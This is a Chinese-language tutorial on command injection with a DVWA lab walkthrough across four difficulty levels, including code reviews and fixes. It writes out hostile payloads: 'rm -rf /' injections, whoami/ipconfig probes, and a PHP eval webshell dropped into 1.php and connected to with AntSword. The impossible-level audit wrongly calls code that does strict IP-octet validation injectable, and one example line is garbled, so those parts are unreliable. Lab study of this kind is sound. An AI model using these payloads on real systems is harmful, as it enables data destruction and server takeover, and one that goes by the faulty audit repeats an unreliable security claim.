Command Injection(命令执行漏洞)
指攻击者通过应用程序未对输入进行适当过滤或验证,直接将恶意命令注入系统执行的漏洞。这通常发生在应用程序将用户输入传递到系统命令或脚本时,攻击者可利用此漏洞执行任意操作,可能导致敏感信息泄露、系统控制权被窃取等严重后果。要防止此类漏洞,通常需要对输入进行严格验证,并避免直接拼接用户输入到系统命令中
1. 漏洞产生的原因
Command Injection 漏洞通常发生在应用程序将用户输入作为参数传递给操作系统的命令执行函数时,且没有充分验证或过滤输入数据。攻击者可以通过在输入中注入恶意命令,导致操作系统执行不受控的命令。
常见场景:
- Web应用接受用户输入,执行例如 ping、traceroute、ls 等操作系统命令。
- 开发者直接将用户输入拼接成系统命令(如 shell 命令)进行执行,而没有进行输入验证或消毒。
例如:
import os
user_input = input("Enter a filename: ")
os.system("cat " + user_input)
在这个例子中,攻击者可以通过输入以下内容来注入恶意命令:
somefile.txt; rm -rf /
2. 攻击原理
攻击的核心是利用输入的数据作为系统命令的参数,注入额外的命令或操作。攻击者通过在输入中嵌入特殊字符,如 ;(Linux/Unix 系统中用来分隔命令)或者 &&、| 等,来实现注入多个命令。
常见的注入字符:
- ;:表示命令分隔符,可以用来链式执行多个命令。
- &&:表示如果前一个命令成功执行,则执行后一个命令。
- |:表示将前一个命令的输出作为后一个命令的输入。
- $(command) 或 ``(反引号):表示执行嵌套命令并替换其结果。
示例注入攻击: 假设用户输入的内容未经过适当过滤,攻击者可以通过输入以下内容注入命令:
somefile.txt; ls -la; echo 'hacked'
这样,攻击者就能够执行 ls -la 列出文件夹内容,或执行任意其他命令,如删除文件、获取敏感信息等。
3. 影响和后果
Command Injection 攻击的影响通常取决于被执行的命令和应用程序的权限。潜在的后果包括:
- 系统命令执行:攻击者能够执行操作系统命令,从而获取对系统的控制。
- 信息泄露:攻击者可以访问或修改应用程序的数据、服务器上的文件,甚至获得服务器的配置信息。
- 远程控制:攻击者可能通过命令执行获得系统的shell访问权限,从而进行进一步攻击。
- 资源滥用:攻击者可以通过注入命令来进行资源滥用(如发起DDoS攻击、下载恶意软件等)。
4. 如何防范 Command Injection
防止 Command Injection 漏洞的最佳实践包括:
- 输入验证与过滤:对用户输入进行严格验证,确保不包含特殊字符(如 ;, &, |, \, " 等),尤其是执行系统命令时。也可以通过白名单方式只允许特定的输入值。
- 使用参数化接口:使用操作系统提供的安全API,而不是直接拼接用户输入到命令中。例如,使用 Python 的 subprocess 模块而不是 os.system,或使用 PHP 的 escapeshellarg() 等方法来处理用户输入。
Python 示例:
import subprocess
user_input = input("Enter a filename: ")
subprocess.run(["cat", user_input], check=True)
这个例子中,subprocess.run 用参数列表传递命令和参数,这样可以避免命令注入。 - 最小化权限:确保应用程序运行时使用最小权限(例如,只给予必要的权限),避免攻击者利用 Command Injection 提升权限。
- 使用安全库和框架:许多现代框架和库已经提供了安全的输入处理方式,开发者应尽量使用这些库来处理用户输入。
5. 示例分析:PHP 命令注入
在 PHP 中,system(), exec(), shell_exec() 等函数会将字符串传递给操作系统执行。如果这些字符串包含恶意注入的命令,攻击者就能执行未授权的操作。
易受攻击的示例:
$filename = $_GET['file'];
system("cat " . $filename);
在这个示例中,攻击者可以通过传递如下 URL 来注入恶意命令:
Example Domain; rm -rf /
防范方法:
$filename = escapeshellarg($_GET['file']);
system("cat " . $filename);
通过使用 escapeshellarg(),可以对传入的参数进行转义,避免执行额外的命令。
6. 实际案例
- 案例 1:在一些 Web 应用中,攻击者通过 URL 请求向服务器传递恶意命令,导致服务器执行不必要的命令,进而控制系统。
- 案例 2:某些 IoT 设备通过 Web 界面允许用户输入设备名称,但没有对输入进行充分的验证。攻击者通过特制的设备名称注入恶意命令,进而获取设备控制权限。
总结
Command Injection 漏洞的关键在于开发人员未能对用户输入进行严格过滤或验证,使得攻击者能够通过特制的输入注入恶意命令。因此,最有效的防御方式是:
- 彻底验证和清洗所有来自用户的输入。
- 使用安全的 API(如 subprocess 而不是 os.system)来执行外部命令。
- 避免将用户输入直接拼接到系统命令中。
通过严格的安全编码实践,可以有效防止此类攻击。
一,low难度下命令执行漏洞
1,观察靶场,这里提供了一个输入IP地址进行ping的服务
DVWA命令注入(Command_Injection)出现乱码解决办法
来自 <DVWA命令注入(Command_Injection)出现乱码解决办法_dvwa命令注入乱码-优快云博客>
2,尝试看看能不能执行我注入的命令
command1 & command2 :
不管command1执行成功与否,都会执行command2,也就是command1和command2都执行
经过检测能够执行
command1 && command2 :
先执行command1执行成功后才会执行command2 ,若command1执行失败,则不执行command2
经过检测能够执行
command1 | command2 :
只执行command2(将上一个命令的输出作为下一个命令的输入)
经过检测能够执行
command1 || command2 :
command1执行失败,再执行command2(若command1执行成功,就不再执行command2)
经过检测能够执行
windows命令执行:127.0.0.1 |whoami
能够成功执行,说明存在命令执行漏洞
127.0.0.1&ipconfig 得到目标IP
那么既然存在命令执行漏洞,那么就可以写入一句话木马获得该网站的webshell
127.0.0.1 | echo "<?php @eval($_POST['attack']);?>" >1.php
验证效果127.0.0.1 |dir
然后尝试使用蚁剑去连接,可以看到连接成功,在真实环境下是可以做一些危险操作的
查看源码进行分析
PHP 代码的主要功能是根据用户提交的 IP 地址执行 ping 命令,并根据操作系统的不同(Windows 或 Unix 类系统)生成相应的 ping 命令,然后将命令输出返回给用户。下面是对代码的详细分析:
1. 检查表单提交
if( isset( $_POST[ 'Submit' ] ) ) {
- 通过 isset($_POST['Submit']) 判断是否提交了表单。Submit 是表单中提交按钮的名称。
- 如果表单已提交,代码将继续执行。
2. 获取用户输入的 IP 地址
$target = $_REQUEST[ 'ip' ];
- $_REQUEST['ip'] 获取用户通过表单提交的 IP 地址。$_REQUEST 是 PHP 中的一个超级全局数组,通常包含 $_GET、$_POST 和 $_COOKIE 的内容。此处假设用户输入的是一个 IP 地址。
3. 判断操作系统并执行 ping 命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
- php_uname('s') 获取操作系统的名称。如果操作系统是 Windows,返回值包含 'Windows NT',stristr() 函数用于检查是否包含 'Windows NT' 字符串。
- 如果是 Windows 操作系统,执行 ping 命令(不带额外参数)。
- 如果是 Unix-like 系统(例如 Linux 或 macOS),则使用 ping -c 4,其中 -c 4 表示发送 4 个请求。
shell_exec() 函数执行系统命令,并将其输出结果返回。
4. 输出结果给用户
$html .= "<pre>{$cmd}</pre>";
- shell_exec() 返回的命令执行结果保存在 $cmd 变量中。
- 使用 "<pre>{$cmd}</pre>" 将输出包裹在 <pre> 标签中,确保结果以预格式化文本的方式显示(即保留换行和空格)。
- 这里使用 $html .= 将结果追加到 $html 变量中。需要注意的是,$html 在代码中没有被初始化,这可能导致未定义变量警告。
5. 潜在问题与改进
安全问题:
- 输入验证:代码没有对用户输入的 IP 地址进行验证和过滤,攻击者可能会提交恶意输入,进行命令注入攻击。
- shell 注入:$target 直接拼接进 ping 命令中,可能会导致命令注入。使用 escapeshellarg() 函数可以有效避免这一问题。
$html 未初始化:
- 在 $html .= "<pre>{$cmd}</pre>"; 之前,应该初始化 $html 变量,否则可能会出现 "未定义变量" 错误。
用户反馈不足:
- 如果输入无效(例如空的 IP 地址或格式不对),代码没有提供任何反馈,用户可能不会知道输入是否有效。
二,medium难度下命令执行漏洞
1,观察靶场,这里提供了一个输入IP地址进行ping的服务
2,接下来就是测试什么拼接符可以正常使用
|,&两个拼接符可以使用
||,&&两个拼接符不能使用,因为存在黑名单过滤
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
3,尝试写入一句话木马
127.0.0.1 | echo "<?php @eval($_POST['attack']);?>" >1.php
写入成功,知道了路径可以尝试使用蚁剑进行连接
由此就获得了网站的控制权,接下来就可以进一步获得服务器的权限,甚至于提取成为超级管理员
low难度和medium难度进行对比分析
1. 输入处理:
第一段代码:
$target = $_REQUEST[ 'ip' ];
- 这段代码直接从用户的表单输入($_REQUEST['ip'])获取了 IP 地址,没有进行任何处理或验证。用户输入的 IP 地址会直接用于 ping 命令。
第二段代码:
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
- 第二段代码对用户输入的 IP 地址进行了黑名单过滤,移除了 && 和 ; 字符,这些字符通常用来进行命令注入攻击。str_replace() 将黑名单中的字符替换为空字符串,从而防止这些字符在 ping 命令中被执行。
- 这种过滤方式能一定程度上减少命令注入的风险,但只处理了这两种字符,依然存在安全隐患。
2. 安全性分析:
第一段代码:
- 命令注入风险:用户输入的 IP 地址没有任何过滤或验证,可能包含恶意字符,如 &&, ;, 或者更复杂的注入字符,这样会导致命令注入攻击。攻击者可能通过输入恶意字符串来执行系统命令,从而危及服务器的安全。
第二段代码:
- 黑名单过滤:通过定义一个包含 && 和 ; 的黑名单,并使用 str_replace() 去除这些字符,第二段代码一定程度上改进了安全性。这样,至少可以防止一些常见的命令注入攻击。
- 安全性不足:虽然黑名单过滤在防止某些命令注入攻击方面有一定效果,但这种方法不够全面。攻击者仍然可以使用其他特殊字符或符号(如 |, <, >, &, 反引号等)来构造恶意输入,绕过这个简单的过滤。因此,黑名单方法并不是完全安全的。
3. 功能性:
第一段代码:
- 功能简单,直接获取用户输入的 IP 地址,并根据操作系统(Windows 或 Unix)执行 ping 命令。
- 没有任何输入验证,所有输入都会直接作为命令的一部分,这带来了严重的安全问题。
第二段代码:
- 除了执行 ping 命令外,第二段代码加入了一个简单的黑名单过滤机制,试图去除输入中的特定字符(如 && 和 ;),以此来提高安全性。
- 然而,这种安全措施非常有限,仍然存在命令注入的风险。
- 在功能性方面,第二段代码的核心逻辑与第一段代码相同,仅在输入处理上有所改进。
4. 改进建议:
- 更强的输入验证:应该对用户输入的 IP 地址进行更严格的验证。可以使用 filter_var($target, FILTER_VALIDATE_IP) 来确保输入的是一个有效的 IP 地址,而不是任意字符串。
- 更全面的安全处理:
- 仅依靠黑名单来防止命令注入是不够的,应该考虑使用 escapeshellarg() 来转义用户输入,防止任何恶意字符被误解为命令的一部分。
- 如果需要进一步加强安全性,考虑使用白名单来允许特定类型的输入,而不是删除有风险的字符。
5. 总结:
- 第一段代码的安全性较差,完全没有输入验证或过滤,极易受到命令注入攻击。
- 第二段代码对输入做了一定的过滤,移除了 && 和 ; 字符,但这种简单的黑名单过滤方法并不够安全,仍然存在命令注入的风险。
- 要增强安全性,应该结合使用输入验证(如 IP 地址格式验证)和更强的转义(如 escapeshellarg())。
三,high难度下命令执行漏洞
1,测试什么拼接符可以正常使用
127.0.0.1 |dir可以生效
127.0.0.1 | dir |与dir多了一个空格就不能生效
127.0.0.1 ||dir 不能生效
127.0.0.1 || dir 可以生效
127.0.0.1 &dir和127.0.0.1 & dir两个都不能生效
127.0.0.1 &&dir和127.0.0.1 && dir 两个都不能生效
2,尝试通过命令执行对网站根目录写入一句话木马
127.0.0.1 |echo <?php @eval($_POST['attack']);?> >1.php
经过检查可以看见写入成功
3,通过蚁剑获得对网站的控制权
low难度与high难度源码进行对比分析
这两段 PHP 代码在实现功能上非常相似,都是通过表单提交 IP 地址后执行 ping 命令,并返回结果。不过,第二段代码在处理输入方面做了一些额外的过滤。下面我将对这两段代码进行详细的对比分析。
1. 输入处理
- 第一段代码:
$target = $_REQUEST['ip'];
这一行代码直接将 $_REQUEST['ip'] 的值赋给 $target,没有对输入进行任何处理。这样做存在一定的安全风险,特别是在处理来自用户的输入时,攻击者可能通过注入恶意字符来进行命令注入(例如,输入 127.0.0.1; rm -rf / 或其他命令)。 - 第二段代码:
$target = trim($_REQUEST['ip']);
这一行代码对 $_REQUEST['ip'] 进行了 trim() 处理,去掉了输入两端的空格。这是一种常见的输入处理方式,可以防止用户在输入时无意间加入空格,影响程序行为。然而,这还远远不足以防止所有形式的命令注入。
随后,代码还定义了一个黑名单($substitutions)来删除潜在的危险字符:
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
这些字符是常见的命令注入载体(如分号 ; 用来分隔命令,管道符 | 用来将命令的输出传递给另一个命令,& 用来在后台执行命令等)。代码使用 str_replace 函数删除这些字符,减少了命令注入的风险。
$target = str_replace(array_keys($substitutions), $substitutions, $target);
然而,这个黑名单方法并不是一种完全有效的防御手段。攻击者仍然可以通过变换输入方式绕过这类字符过滤(例如,使用 URL 编码或者变种字符)。更健壮的防御方式应该是使用白名单或更精确的输入验证。
2. 操作系统检测与命令执行
两段代码的 ping 命令执行部分相同。无论是 Windows 还是类 Unix 系统(如 Linux 或 macOS),都通过判断操作系统类型来决定如何执行 ping 命令:
- Windows 使用:
$cmd = shell_exec('ping ' . $target); - 类 Unix 系统 使用:
$cmd = shell_exec('ping -c 4 ' . $target);
这部分代码的实现方式没有问题,只要 target(即 IP 地址)被正确处理,并且没有包含恶意字符或命令。命令执行后,结果会通过 HTML 的 <pre> 标签反馈给用户:
$html .= "<pre>{$cmd}</pre>";
3. 安全性分析
- 第一段代码的安全性: 第一段代码直接将用户输入用于构造系统命令(ping)。没有任何输入过滤或消毒,直接将用户输入的 IP 地址拼接到命令中,这使得该代码容易受到 命令注入攻击 的威胁。例如,攻击者可以通过输入像 127.0.0.1; rm -rf / 的内容来执行多条命令。这样不仅可能导致数据丢失,还可能引发更严重的安全漏洞(如远程代码执行)。
- 第二段代码的安全性: 第二段代码对输入进行了初步过滤,删除了潜在的危险字符(如分号 ;、管道符 | 等),使得某些形式的命令注入攻击变得更加困难。然而,尽管有这些过滤措施,仍然存在安全隐患:
- 字符串替换(str_replace)的过滤方法并不彻底,特别是当攻击者通过编码、Unicode 字符等方式绕过这些过滤时,仍然可能发生命令注入。
- 更好的做法是对输入进行更严格的验证(如验证输入是否为合法的 IP 地址),而不是依赖于黑名单过滤。
4. 其他改进建议
- 更严格的输入验证: 对于 IP 地址,最好使用正则表达式或专门的验证函数来确保它是一个合法的 IP 地址。例如:
if (filter_var($target, FILTER_VALIDATE_IP)) {
// 输入是有效的 IP 地址
} else {
// 处理无效输入
} - 避免直接使用 shell_exec: 使用 shell_exec 直接执行系统命令存在风险。即使是经过过滤的输入,也不应该直接传递给 shell。可以考虑使用更安全的方式,如通过 PHP 的内置函数来执行 ping(例如通过 fsockopen)或者其他限制权限的 API。
- 使用白名单: 如果必须执行系统命令,使用 白名单 方法来确保仅允许执行特定的命令,而不是依赖黑名单来过滤危险字符。
结论
- 第一段代码 存在严重的安全问题,容易受到命令注入攻击,几乎没有对用户输入的有效过滤。
- 第二段代码 通过过滤一些常见的危险字符增强了安全性,但依然存在不足,尤其是通过黑名单过滤的方式并不完美。更好的方案是进行更严格的输入验证或使用白名单策略。
四,impossible难度下命令执行漏洞
对impossible难度的靶场进行代码审计,分析其安全性能
从 输入验证、命令注入、反跨站请求伪造(CSRF)、会话管理 和 错误处理 等方面进行审计
1. 命令注入漏洞(Command Injection)
ping 命令的执行存在 命令注入 漏洞。
$cmd = shell_exec( 'ping ' . $target );
由于 $target 是由用户提供的输入,且没有对其进行充分的过滤或转义,攻击者可以通过在 IP 地址中注入恶意命令来执行任意操作。例如,攻击者可以通过在 IP 地址中加入 ; 或 &&,来终止 ping 命令并执行其他恶意命令:
1.1.1.1; rm -rf / # 删除文件
这样,攻击者不仅可以利用 ping 命令,还能执行系统上的任意命令,造成严重的安全问题。
防护措施:
- 使用 escapeshellarg() 或 escapeshellcmd():可以对 $target 进行转义,以防止恶意字符执行。例如:
$target = escapeshellarg($target);
$cmd = shell_exec( 'ping ' . $target ); - 对输入进行严格的过滤:虽然该代码对 IP 地址进行了格式验证,但这并不足够保证输入的安全性。应该限制允许的字符,只允许合法的 IP 地址格式。
2. 反跨站请求伪造(CSRF)
代码中提到使用了 checkToken() 来验证 CSRF token:
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
这是一个好的做法,能防止 CSRF 攻击。然而,在审计代码时,我们并未看到 checkToken() 的具体实现,因此无法确认其是否正确实现了验证逻辑。一般来说,CSRF token 的安全性取决于它的随机性、过期时间以及存储方式。
防护措施:
- 确保 CSRF token 足够随机且不可预测。
- 确保每个用户会话都有独立的 CSRF token,并且 token 只在 POST 请求中发送。
- 令牌过期时间应适当,防止被长期使用。
3. 会话管理
虽然代码中有 generateSessionToken() 来生成 CSRF token,但并未看到完整的会话管理流程。在审计中,必须确保以下几点:
- 会话固定性攻击:确保会话标识符在用户登录后被动态生成,并且不会被外部干预。
- 会话过期:检查会话是否有适当的过期机制,避免会话被长时间滥用。
- 安全存储:确保会话 token 和其他敏感信息(如用户凭证)安全存储,使用 HTTPOnly 和 Secure 标记等。
4. 输入验证和过滤
代码中有一个验证 IP 地址格式的部分:
$octet = explode( ".", $target );
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) )
虽然这是一个基本的 IP 地址格式检查,但它并不足够严格。is_numeric() 只会验证每个 octet 是否为数字,而不会检查其是否在合法的 IP 地址范围内。例如,999.999.999.999 仍然会通过该检查,但这并不是一个有效的 IP 地址。
防护措施:
- 使用更严格的正则表达式来验证 IP 地址格式,确保每个 octet 的值在 0 到 255 之间。例如:
if (preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $target)) {
$octet = explode('.', $target);
if (max($octet) <= 255) {
// Valid IP
}
} - 限制只能使用合法的 IPv4 地址格式,不允许用户提交其他类型的输入。
5. 错误处理和信息泄露
如果输入无效,代码仅返回一个简单的错误信息:
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
这种错误信息虽然简短,但如果攻击者能够反复提交无效数据,可能泄露一些内部信息,特别是当涉及到远程命令执行时,系统应当避免暴露过多错误细节。
防护措施:
- 错误信息应尽量简洁,避免暴露服务器细节。
- 考虑使用日志记录方式而不是直接显示错误信息。
结论
从Web安全角度来看,尽管这段代码通过一定的机制(如 CSRF token)来防止一些常见的攻击,但它仍然存在严重的安全问题,特别是命令注入漏洞。如果不对 $target 输入进行严格的验证和转义,攻击者就能利用该漏洞执行任意系统命令。
为了提高安全性,应该:
- 防止命令注入:对所有用户输入进行适当的过滤和转义。
- 验证 IP 地址:加强对 IP 地址格式的验证,防止无效或恶意 IP 地址通过检查。
- 改进错误处理:避免暴露过多内部信息。
- 加强会话管理:确保 CSRF token 和会话标识符的安全性。